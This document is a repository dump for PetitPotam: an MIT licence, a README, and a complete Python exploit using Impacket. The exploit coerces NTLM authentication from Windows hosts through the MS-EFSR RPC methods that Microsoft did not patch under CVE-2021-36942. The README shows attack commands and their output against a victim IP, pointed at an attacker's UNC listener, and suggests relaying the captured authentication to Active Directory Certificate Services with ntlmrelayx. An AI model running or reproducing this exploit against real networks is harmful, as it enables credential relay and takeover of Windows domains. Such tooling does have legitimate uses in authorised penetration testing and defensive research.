├── LICENSE ├── README.md └── petitpotam.py /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2021 ly4k 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # PetitPotam 2 | 3 | Coerce NTLM authentication from Windows hosts 4 | 5 | ## Installtion 6 | 7 | ```bash 8 | $ pip3 install impacket 9 | ``` 10 | 11 | ## Usage 12 | 13 | 14 | ```bash 15 | usage: petitpotam.py [-h] [-debug] [-port [destination port]] [-pipe pipe] 16 | [-method method] [-target-ip ip address] 17 | [-hashes LMHASH:NTHASH] [-no-pass] [-k] [-dc-ip ip address] 18 | target path 19 | 20 | PetitPotam - Coerce authentication from Windows hosts 21 | 22 | positional arguments: 23 | target [[domain/]username[:password]@] 24 | path UNC path for authentication 25 | 26 | optional arguments: 27 | -h, --help show this help message and exit 28 | -debug Turn DEBUG output ON 29 | 30 | connection: 31 | -port [destination port] 32 | Destination port to connect to MS-RPRN named pipe 33 | -pipe pipe Named pipe to use (default: lsarpc) 34 | -method method Method used for coercing authentication 35 | -target-ip ip address 36 | IP Address of the target machine. If ommited it will use 37 | whatever was specified as target. This is useful when 38 | target is the NetBIOS name and you cannot resolve it 39 | 40 | authentication: 41 | -hashes LMHASH:NTHASH 42 | NTLM hashes, format is LMHASH:NTHASH 43 | -no-pass don't ask for password (useful for -k) 44 | -k Use Kerberos authentication. Grabs credentials from 45 | ccache file (KRB5CCNAME) based on target parameters. If 46 | valid credentials cannot be found, it will use the ones 47 | specified in the command line 48 | -dc-ip ip address IP Address of the domain controller. If omitted it will 49 | use the domain part (FQDN) specified in the target 50 | parameter 51 | ``` 52 | 53 | ### Examples 54 | 55 | In these examples, the victim is `172.16.19.100` and the attacker is `172.16.19.1` 56 | 57 | The attack can use `impacket-ntlmrelayx` to relay the authentication to interesting 58 | endpoints, for instance Active Directory Certificate Services Web Enrollment. 59 | 60 | By default, a random method will be chosen. 61 | 62 | The target may or may not require authentication. These examples were tested on a 63 | Windows 2022 server, and no authentication was required. 64 | 65 | The UNC path must point to the attacker's listener. Note that if the attacker is not 66 | part of the trusted intranet zone, the Windows host will try to authenticate with a 67 | null session. This can be circumvented by either using a NETBIOS name or ADIDNS record 68 | for the attacker. 69 | 70 | #### Random Method 71 | 72 | ```bash 73 | $ python3 petitpotam.py -debug '172.16.19.100' '\\172.16.19.1\share\foo' 74 | Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation 75 | 76 | [+] Connecting to 'ncacn_np:172.16.19.100[\\PIPE\\lsarpc]' 77 | [+] Connected to 'ncacn_np:172.16.19.100[\\PIPE\\lsarpc]' 78 | [+] Binding to ('c681d488-d850-11d0-8c52-00c04fd90f7e', '1.0') 79 | [+] Bound to ('c681d488-d850-11d0-8c52-00c04fd90f7e', '1.0') 80 | [*] Choosing random method 81 | [*] Using method: AddUsersToFile 82 | [*] Coercing authentication to: '\\\\172.16.19.1\\share\\foo' 83 | [*] Success! 84 | ``` 85 | 86 | #### Specific Method 87 | 88 | ```bash 89 | $ python3 petitpotam.py -debug -method AddUsersToFile '172.16.19.100' '\\172.16.19.1\share\foo' 90 | Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation 91 | 92 | [+] Connecting to 'ncacn_np:172.16.19.100[\\PIPE\\lsarpc]' 93 | [+] Connected to 'ncacn_np:172.16.19.100[\\PIPE\\lsarpc]' 94 | [+] Binding to ('c681d488-d850-11d0-8c52-00c04fd90f7e', '1.0') 95 | [+] Bound to ('c681d488-d850-11d0-8c52-00c04fd90f7e', '1.0') 96 | [*] Using method: AddUsersToFile 97 | [*] Coercing authentication to: '\\\\172.16.19.1\\share\\foo' 98 | [*] Success! 99 | ``` 100 | 101 | ## Details 102 | 103 | PetitPotam was orignally created / discovered by [topotam](https://github.com/topotam). 104 | This exploit is heavily based on the implementation and research from [topotam](https://github.com/topotam/PetitPotam). 105 | 106 | If you're using `ntlmrelayx` and the Windows host connects with an anonymous logon (null) session, please see [this pull request](https://github.com/SecureAuthCorp/impacket/pull/1179) to fix the issue. You can confirm the authentication coercion with Responder. 107 | 108 | ### CVE-2021-36942 109 | 110 | Microsoft has released a [patch](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-36942) for PetitPotam, but only for two of the methods (EfsRpcOpenFileRaw, EfsRpcEncryptFileSrv). For that reason, those methods are *not* implemented in this exploit. 111 | 112 | Instead, the other methods (which were not fully implemented by topotam) have been implemented in this exploit. 113 | 114 | ## Authors 115 | - [@ly4k](https://github.com/ly4k) 116 | 117 | ## Credits 118 | - [@topotam](https://github.com/topotam)'s [implementation](https://github.com/topotam/PetitPotam) 119 | - [Impacket](https://github.com/SecureAuthCorp/impacket) 120 | -------------------------------------------------------------------------------- /petitpotam.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | # 3 | # PetitPotam 4 | # 5 | # Authors: 6 | # @ly4k (https://github.com/ly4k) 7 | # 8 | # Credit: 9 | # @topotam (https://github.com/topotam) 10 | # 11 | # Description: 12 | # Coerce authentication from Windows hosts via EFS-RPC 13 | # 14 | # Microsoft released a patch for only two methods: EfsRpcOpenFileRaw and 15 | # EfsRpcEncryptFileSrv 16 | # 17 | # This exploit implements the rest of the methods in the EFS protocol that allows 18 | # for authentication coercion. 19 | 20 | import argparse 21 | import logging 22 | import random 23 | import sys 24 | 25 | from impacket import system_errors, version 26 | from impacket.dcerpc.v5 import transport 27 | from impacket.dcerpc.v5.dtypes import ( 28 | BOOL, 29 | DWORD, 30 | LPWSTR, 31 | NULL, 32 | PCHAR, 33 | RPC_SID, 34 | ULONG, 35 | WSTR, 36 | ) 37 | from impacket.dcerpc.v5.ndr import NDRCALL, NDRPOINTERNULL, NDRSTRUCT 38 | from impacket.dcerpc.v5.rpcrt import DCERPCException 39 | from impacket.examples import logger 40 | from impacket.examples.utils import parse_target 41 | from impacket.uuid import uuidtup_to_bin 42 | 43 | 44 | class DCERPCSessionError(DCERPCException): 45 | def __init__(self, error_string=None, error_code=None, packet=None): 46 | DCERPCException.__init__(self, error_string, error_code, packet) 47 | 48 | def __str__(self): 49 | key = self.error_code 50 | if key in system_errors.ERROR_MESSAGES: 51 | error_msg_short = system_errors.ERROR_MESSAGES[key][0] 52 | error_msg_verbose = system_errors.ERROR_MESSAGES[key][1] 53 | return "EFSR SessionError: code: 0x%x - %s - %s" % ( 54 | self.error_code, 55 | error_msg_short, 56 | error_msg_verbose, 57 | ) 58 | else: 59 | return "EFSR SessionError: unknown error code: 0x%x" % self.error_code 60 | 61 | 62 | ################################################################################ 63 | # STRUCTURES 64 | ################################################################################ 65 | class EXIMPORT_CONTEXT_HANDLE(NDRSTRUCT): 66 | align = 1 67 | structure = (("Data", "20s"),) 68 | 69 | 70 | class EXIMPORT_CONTEXT_HANDLE(NDRSTRUCT): 71 | align = 1 72 | structure = (("Data", "20s"),) 73 | 74 | 75 | class EFS_EXIM_PIPE(NDRSTRUCT): 76 | align = 1 77 | structure = (("Data", ":"),) 78 | 79 | 80 | class EFS_HASH_BLOB(NDRSTRUCT): 81 | 82 | structure = ( 83 | ("Data", DWORD), 84 | ("cbData", PCHAR), 85 | ) 86 | 87 | 88 | class EFS_RPC_BLOB(NDRSTRUCT): 89 | 90 | structure = ( 91 | ("Data", DWORD), 92 | ("cbData", PCHAR), 93 | ) 94 | 95 | 96 | class EFS_CERTIFICATE_BLOB(NDRSTRUCT): 97 | structure = ( 98 | ("Type", DWORD), 99 | ("Data", DWORD), 100 | ("cbData", PCHAR), 101 | ) 102 | 103 | 104 | class ENCRYPTION_CERTIFICATE_HASH(NDRSTRUCT): 105 | structure = ( 106 | ("Lenght", DWORD), 107 | ("SID", RPC_SID), 108 | ("Hash", EFS_HASH_BLOB), 109 | ("Display", LPWSTR), 110 | ) 111 | 112 | 113 | class ENCRYPTION_CERTIFICATE(NDRSTRUCT): 114 | structure = ( 115 | ("Lenght", DWORD), 116 | ("SID", RPC_SID), 117 | ("Hash", EFS_CERTIFICATE_BLOB), 118 | ) 119 | 120 | 121 | class ENCRYPTION_CERTIFICATE_HASH_LIST(NDRSTRUCT): 122 | align = 1 123 | structure = ( 124 | ("Cert", DWORD), 125 | ("Users", ENCRYPTION_CERTIFICATE_HASH), 126 | ) 127 | 128 | 129 | class ENCRYPTED_FILE_METADATA_SIGNATURE(NDRSTRUCT): 130 | structure = ( 131 | ("Type", DWORD), 132 | ("HASH", ENCRYPTION_CERTIFICATE_HASH_LIST), 133 | ("Certif", ENCRYPTION_CERTIFICATE), 134 | ("Blob", EFS_RPC_BLOB), 135 | ) 136 | 137 | 138 | class EFS_RPC_BLOB(NDRSTRUCT): 139 | structure = ( 140 | ("Data", DWORD), 141 | ("cbData", PCHAR), 142 | ) 143 | 144 | 145 | class ENCRYPTION_CERTIFICATE_LIST(NDRSTRUCT): 146 | align = 1 147 | structure = (("nUsers", DWORD), ("Users", NDRPOINTERNULL)) 148 | 149 | 150 | ################################################################################ 151 | # RPC CALLS 152 | ################################################################################ 153 | class EfsRpcOpenFileRaw(NDRCALL): 154 | opnum = 0 155 | structure = ( 156 | ("fileName", WSTR), 157 | ("Flag", ULONG), 158 | ) 159 | 160 | 161 | class EfsRpcOpenFileRawResponse(NDRCALL): 162 | structure = ( 163 | ("hContext", EXIMPORT_CONTEXT_HANDLE), 164 | ("ErrorCode", ULONG), 165 | ) 166 | 167 | 168 | class EfsRpcEncryptFileSrv(NDRCALL): 169 | opnum = 4 170 | structure = (("FileName", WSTR),) 171 | 172 | 173 | class EfsRpcEncryptFileSrvResponse(NDRCALL): 174 | structure = (("ErrorCode", ULONG),) 175 | 176 | 177 | class EfsRpcDecryptFileSrv(NDRCALL): 178 | opnum = 5 179 | structure = ( 180 | ("FileName", WSTR), 181 | ("Flag", ULONG), 182 | ) 183 | 184 | 185 | class EfsRpcDecryptFileSrvResponse(NDRCALL): 186 | structure = (("ErrorCode", ULONG),) 187 | 188 | 189 | class EfsRpcQueryUsersOnFile(NDRCALL): 190 | opnum = 6 191 | structure = (("FileName", WSTR),) 192 | 193 | 194 | class EfsRpcQueryUsersOnFileResponse(NDRCALL): 195 | structure = (("ErrorCode", ULONG),) 196 | 197 | 198 | class EfsRpcQueryRecoveryAgents(NDRCALL): 199 | opnum = 7 200 | structure = (("FileName", WSTR),) 201 | 202 | 203 | class EfsRpcQueryRecoveryAgentsResponse(NDRCALL): 204 | structure = (("ErrorCode", ULONG),) 205 | 206 | 207 | class EfsRpcRemoveUsersFromFile(NDRCALL): 208 | opnum = 8 209 | structure = (("FileName", WSTR), ("Users", ENCRYPTION_CERTIFICATE_HASH_LIST)) 210 | 211 | 212 | class EfsRpcRemoveUsersFromFileResponse(NDRCALL): 213 | structure = (("ErrorCode", ULONG),) 214 | 215 | 216 | class EfsRpcAddUsersToFile(NDRCALL): 217 | opnum = 9 218 | structure = ( 219 | ("FileName", WSTR), 220 | ("EncryptionCertificates", ENCRYPTION_CERTIFICATE_LIST), 221 | ) 222 | 223 | 224 | class EfsRpcAddUsersToFileResponse(NDRCALL): 225 | structure = (("ErrorCode", ULONG),) 226 | 227 | 228 | class EfsRpcFileKeyInfo(NDRCALL): 229 | opnum = 12 230 | structure = ( 231 | ("FileName", WSTR), 232 | ("infoClass", DWORD), 233 | ) 234 | 235 | 236 | class EfsRpcFileKeyInfoResponse(NDRCALL): 237 | structure = (("ErrorCode", ULONG),) 238 | 239 | 240 | class EfsRpcDuplicateEncryptionInfoFile(NDRCALL): 241 | opnum = 13 242 | structure = ( 243 | ("SrcFileName", WSTR), 244 | ("DestFileName", WSTR), 245 | ("dwCreationDisposition", DWORD), 246 | ("dwAttributes", DWORD), 247 | ("RelativeSD", EFS_RPC_BLOB), 248 | ("bInheritHandle", BOOL), 249 | ) 250 | 251 | 252 | class EfsRpcDuplicateEncryptionInfoFileResponse(NDRCALL): 253 | structure = (("ErrorCode", ULONG),) 254 | 255 | 256 | class EfsRpcAddUsersToFileEx(NDRCALL): 257 | opnum = 15 258 | structure = ( 259 | ("dwFlags", DWORD), 260 | ("Reserved", NDRPOINTERNULL), 261 | ("FileName", WSTR), 262 | ("EncryptionCertificates", ENCRYPTION_CERTIFICATE_LIST), 263 | ) 264 | 265 | 266 | class EfsRpcAddUsersToFileExResponse(NDRCALL): 267 | structure = (("ErrorCode", ULONG),) 268 | 269 | 270 | ################################################################################ 271 | # OPNUMs and their corresponding structures 272 | ################################################################################ 273 | OPNUMS = { 274 | 0: (EfsRpcOpenFileRaw, EfsRpcOpenFileRawResponse), 275 | 4: (EfsRpcEncryptFileSrv, EfsRpcEncryptFileSrvResponse), 276 | 5: (EfsRpcDecryptFileSrv, EfsRpcDecryptFileSrvResponse), 277 | 6: (EfsRpcQueryUsersOnFile, EfsRpcQueryUsersOnFileResponse), 278 | 7: (EfsRpcQueryRecoveryAgents, EfsRpcQueryRecoveryAgentsResponse), 279 | 8: (EfsRpcRemoveUsersFromFile, EfsRpcRemoveUsersFromFileResponse), 280 | 9: (EfsRpcAddUsersToFile, EfsRpcAddUsersToFileResponse), 281 | 12: (EfsRpcFileKeyInfo, EfsRpcFileKeyInfoResponse), 282 | 13: (EfsRpcDuplicateEncryptionInfoFile, EfsRpcDuplicateEncryptionInfoFileResponse), 283 | 15: (EfsRpcAddUsersToFileEx, EfsRpcAddUsersToFileExResponse), 284 | } 285 | 286 | ################################################################################ 287 | # HELPER FUNCTIONS 288 | ################################################################################ 289 | def checkNullString(string): 290 | if string == NULL: 291 | return string 292 | 293 | if string[-1:] != "\x00": 294 | return string + "\x00" 295 | else: 296 | return string 297 | 298 | 299 | def hEfsRpcOpenFileRaw(dce, filename): 300 | request = EfsRpcOpenFileRaw() 301 | request["fileName"] = checkNullString(filename) 302 | request["Flag"] = 0 303 | return dce.request(request) 304 | 305 | 306 | def hEfsRpcEncryptFileSrv(dce, filename): 307 | request = EfsRpcOpenFileRaw() 308 | request["fileName"] = checkNullString(filename) 309 | return dce.request(request) 310 | 311 | 312 | def hEfsRpcDecryptFileSrv(dce, path): 313 | request = EfsRpcDecryptFileSrv() 314 | request["FileName"] = checkNullString(path) 315 | 316 | try: 317 | dce.request(request) 318 | except DCERPCSessionError as e: 319 | if e.error_code == system_errors.ERROR_INVALID_NAME: 320 | return True 321 | return False 322 | 323 | return True 324 | 325 | 326 | def hEfsRpcQueryUsersOnFile(dce, path): 327 | request = EfsRpcQueryUsersOnFile() 328 | request["FileName"] = checkNullString(path) 329 | 330 | try: 331 | dce.request(request) 332 | except DCERPCSessionError as e: 333 | if e.error_code == system_errors.ERROR_SUCCESS: 334 | return True 335 | return False 336 | 337 | return True 338 | 339 | 340 | def hEfsRpcQueryRecoveryAgents(dce, path): 341 | request = EfsRpcQueryRecoveryAgents() 342 | request["FileName"] = checkNullString(path) 343 | 344 | try: 345 | dce.request(request) 346 | except DCERPCSessionError as e: 347 | if e.error_code == system_errors.ERROR_SUCCESS: 348 | return True 349 | return False 350 | 351 | return True 352 | 353 | 354 | def hEfsRpcRemoveUsersFromFile(dce, path): 355 | request = EfsRpcRemoveUsersFromFile() 356 | request["FileName"] = checkNullString(path) 357 | request["Users"] = NULL 358 | 359 | try: 360 | dce.request(request) 361 | except DCERPCSessionError as e: 362 | if e.error_code == system_errors.ERROR_INVALID_NAME: 363 | return True 364 | return False 365 | 366 | return True 367 | 368 | 369 | def hEfsRpcAddUsersToFile(dce, path): 370 | request = EfsRpcAddUsersToFile() 371 | request["FileName"] = checkNullString(path) 372 | request["EncryptionCertificates"] = ENCRYPTION_CERTIFICATE_LIST() 373 | 374 | try: 375 | dce.request(request) 376 | except DCERPCSessionError as e: 377 | if e.error_code == system_errors.ERROR_INVALID_NAME: 378 | return True 379 | return False 380 | 381 | return True 382 | 383 | 384 | def hEfsRpcFileKeyInfo(dce, path): 385 | request = EfsRpcFileKeyInfo() 386 | request["FileName"] = checkNullString(path) 387 | 388 | try: 389 | dce.request(request) 390 | except DCERPCSessionError as e: 391 | if e.error_code == system_errors.ERROR_SUCCESS: 392 | return True 393 | return False 394 | 395 | return True 396 | 397 | 398 | def hEfsRpcDuplicateEncryptionInfoFile(dce, path): 399 | request = EfsRpcDuplicateEncryptionInfoFile() 400 | request["SrcFileName"] = checkNullString(path) 401 | request["DestFileName"] = "\0" 402 | request["RelativeSD"] = EFS_RPC_BLOB() 403 | 404 | try: 405 | dce.request(request) 406 | except DCERPCSessionError as e: 407 | if e.error_code == system_errors.ERROR_INVALID_NAME: 408 | return True 409 | return False 410 | 411 | return True 412 | 413 | 414 | def hEfsRpcAddUsersToFileEx(dce, path): 415 | request = EfsRpcAddUsersToFileEx() 416 | request["FileName"] = checkNullString(path) 417 | request["EncryptionCertificates"] = ENCRYPTION_CERTIFICATE_LIST() 418 | 419 | try: 420 | dce.request(request) 421 | except DCERPCSessionError as e: 422 | if e.error_code == system_errors.ERROR_INVALID_NAME: 423 | return True 424 | return False 425 | 426 | return True 427 | 428 | 429 | class PetitPotam: 430 | BINDINGS = { 431 | "lsarpc": { 432 | "stringbinding": r"ncacn_np:%s[\PIPE\lsarpc]", 433 | "MSRPC_UUID_EFSR": ("c681d488-d850-11d0-8c52-00c04fd90f7e", "1.0"), 434 | }, 435 | "efsr": { 436 | "stringbinding": r"ncacn_np:%s[\PIPE\efsrpc]", 437 | "MSRPC_UUID_EFSR": ("df1941c5-fe89-4e79-bf10-463657acf44d", "1.0"), 438 | }, 439 | } 440 | TECHNIQUES = { 441 | "EncryptFileSrv": hEfsRpcEncryptFileSrv, 442 | "DecryptFileSrv": hEfsRpcDecryptFileSrv, 443 | "QueryUsersOnFile": hEfsRpcQueryUsersOnFile, 444 | "QueryRecoveryAgents": hEfsRpcQueryRecoveryAgents, 445 | "RemoveUsersFromFile": hEfsRpcRemoveUsersFromFile, 446 | "AddUsersToFile": hEfsRpcAddUsersToFile, 447 | "FileKeyInfo": hEfsRpcFileKeyInfo, 448 | "DuplicateEncryptionInfoFile": hEfsRpcDuplicateEncryptionInfoFile, 449 | "AddUsersToFileEx": hEfsRpcAddUsersToFileEx, 450 | } 451 | 452 | def __init__( 453 | self, 454 | username="", 455 | password="", 456 | domain="", 457 | lmhash="", 458 | nthash="", 459 | do_kerberos=False, 460 | dc_host="", 461 | port=445, 462 | pipe="", 463 | target_name="", 464 | target_ip="", 465 | ): 466 | self.username = username 467 | self.password = password 468 | self.domain = domain 469 | self.lmhash = lmhash 470 | self.nthash = nthash 471 | self.do_kerberos = do_kerberos 472 | self.dc_host = dc_host 473 | self.port = port 474 | self.pipe = pipe 475 | self.target_name = target_name 476 | self.target_ip = target_ip 477 | 478 | def connect(self): 479 | # Connect and bind to MS-EFSR (https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-efsr/1baaad2f-7a84-4238-b113-f32827a39cd2) 480 | stringbinding = self.BINDINGS[self.pipe]["stringbinding"] % self.target_name 481 | 482 | rpctransport = transport.DCERPCTransportFactory(stringbinding) 483 | 484 | rpctransport.set_credentials( 485 | self.username, 486 | self.password, 487 | self.domain, 488 | self.lmhash, 489 | self.nthash, 490 | ) 491 | 492 | rpctransport.set_kerberos(self.do_kerberos, kdcHost=self.dc_host) 493 | 494 | rpctransport.setRemoteHost(self.target_ip) 495 | rpctransport.set_dport(self.port) 496 | 497 | dce = rpctransport.get_dce_rpc() 498 | 499 | logging.debug("Connecting to %s" % (repr(stringbinding))) 500 | 501 | try: 502 | # Connect to named pipe 503 | dce.connect() 504 | except Exception as e: 505 | logging.error("Failed to connect to pipe: %s" % e) 506 | sys.exit(1) 507 | 508 | logging.debug("Connected to %s" % (repr(stringbinding))) 509 | 510 | logging.debug( 511 | "Binding to %s" % repr(self.BINDINGS[self.pipe]["MSRPC_UUID_EFSR"]) 512 | ) 513 | 514 | try: 515 | # Bind to MSRPC MS-EFSR UUID: 12345678-1234-ABCD-EF00-0123456789AB 516 | dce.bind(uuidtup_to_bin(self.BINDINGS[self.pipe]["MSRPC_UUID_EFSR"])) 517 | except Exception as e: 518 | logging.error( 519 | "Failed to bind to %s: %s" 520 | % (str(self.BINDINGS[self.pipe]["MSRPC_UUID_EFSR"]), e) 521 | ) 522 | sys.exit(1) 523 | 524 | logging.debug("Bound to %s" % repr(self.BINDINGS[self.pipe]["MSRPC_UUID_EFSR"])) 525 | 526 | return dce 527 | 528 | def exploit(self, path, method): 529 | dce = self.connect() 530 | 531 | if method.lower() == "random": 532 | logging.info("Choosing random method") 533 | method, func = random.choice(list(PetitPotam.TECHNIQUES.items())) 534 | else: 535 | func = PetitPotam.TECHNIQUES[method] 536 | 537 | logging.info("Using method: %s" % method) 538 | 539 | logging.info("Coercing authentication to: %s" % repr(path)) 540 | if func(dce, path) == True: 541 | logging.info("Success!") 542 | else: 543 | logging.error("Failed.") 544 | 545 | 546 | if __name__ == "__main__": 547 | print(version.BANNER) 548 | 549 | logger.init() 550 | 551 | parser = argparse.ArgumentParser( 552 | add_help=True, 553 | description="PetitPotam - Coerce authentication from Windows hosts", 554 | ) 555 | parser.add_argument( 556 | "target", 557 | action="store", 558 | help="[[domain/]username[:password]@]", 559 | ) 560 | parser.add_argument( 561 | "path", 562 | action="store", 563 | help="UNC path for authentication", 564 | ) 565 | 566 | parser.add_argument("-debug", action="store_true", help="Turn DEBUG output ON") 567 | 568 | group = parser.add_argument_group("connection") 569 | 570 | group.add_argument( 571 | "-port", 572 | action="store", 573 | choices=["139", "445"], 574 | nargs="?", 575 | default="445", 576 | metavar="destination port", 577 | help="Destination port to connect to MS-RPRN named pipe", 578 | ) 579 | group.add_argument( 580 | "-pipe", 581 | action="store", 582 | choices=["efsr", "lsarpc"], 583 | metavar="pipe", 584 | default="lsarpc", 585 | help="Named pipe to use (default: lsarpc)", 586 | ) 587 | 588 | group.add_argument( 589 | "-method", 590 | action="store", 591 | choices=["random", *list(map(lambda x: x[0], PetitPotam.TECHNIQUES.items()))], 592 | metavar="method", 593 | default="random", 594 | help="Method used for coercing authentication", 595 | ) 596 | group.add_argument( 597 | "-target-ip", 598 | action="store", 599 | metavar="ip address", 600 | help=( 601 | "IP Address of the target machine. If " 602 | "ommited it will use whatever was specified as target. This is useful when " 603 | "target is the NetBIOS name and you cannot resolve it" 604 | ), 605 | ) 606 | 607 | group = parser.add_argument_group("authentication") 608 | 609 | group.add_argument( 610 | "-hashes", 611 | action="store", 612 | metavar="LMHASH:NTHASH", 613 | help="NTLM hashes, format is LMHASH:NTHASH", 614 | ) 615 | group.add_argument( 616 | "-no-pass", action="store_true", help="don't ask for password (useful for -k)" 617 | ) 618 | group.add_argument( 619 | "-k", 620 | action="store_true", 621 | help="Use Kerberos authentication. Grabs credentials from ccache file " 622 | "(KRB5CCNAME) based on target parameters. If valid credentials " 623 | "cannot be found, it will use the ones specified in the command " 624 | "line", 625 | ) 626 | group.add_argument( 627 | "-dc-ip", 628 | action="store", 629 | metavar="ip address", 630 | help=( 631 | "IP Address of the domain controller. If omitted it will use the domain " 632 | "part (FQDN) specified in the target parameter" 633 | ), 634 | ) 635 | 636 | if len(sys.argv) == 1: 637 | parser.print_help() 638 | sys.exit(1) 639 | 640 | options = parser.parse_args() 641 | 642 | if options.debug is True: 643 | logging.getLogger().setLevel(logging.DEBUG) 644 | else: 645 | logging.getLogger().setLevel(logging.INFO) 646 | 647 | domain, username, password, target_name = parse_target(options.target) 648 | 649 | if domain is None: 650 | domain = "" 651 | 652 | if ( 653 | password == "" 654 | and username != "" 655 | and options.hashes is None 656 | and options.no_pass is not True 657 | ): 658 | from getpass import getpass 659 | 660 | password = getpass("Password:") 661 | 662 | if options.hashes is not None: 663 | hashes = options.hashes.split(":") 664 | if len(hashes) == 1: 665 | (nthash,) = hashes 666 | lmhash = nthash = nthash 667 | else: 668 | lmhash, nthash = hashes 669 | else: 670 | nthash = lmhash = "" 671 | 672 | if options.target_ip is None: 673 | options.target_ip = target_name 674 | 675 | petit_potam = PetitPotam( 676 | username=username, 677 | password=password, 678 | domain=domain, 679 | lmhash=lmhash, 680 | nthash=nthash, 681 | do_kerberos=options.k, 682 | dc_host=options.dc_ip, 683 | port=int(options.port), 684 | pipe=options.pipe, 685 | target_name=target_name, 686 | target_ip=options.target_ip, 687 | ) 688 | 689 | petit_potam.exploit(path=options.path, method=options.method) 690 | --------------------------------------------------------------------------------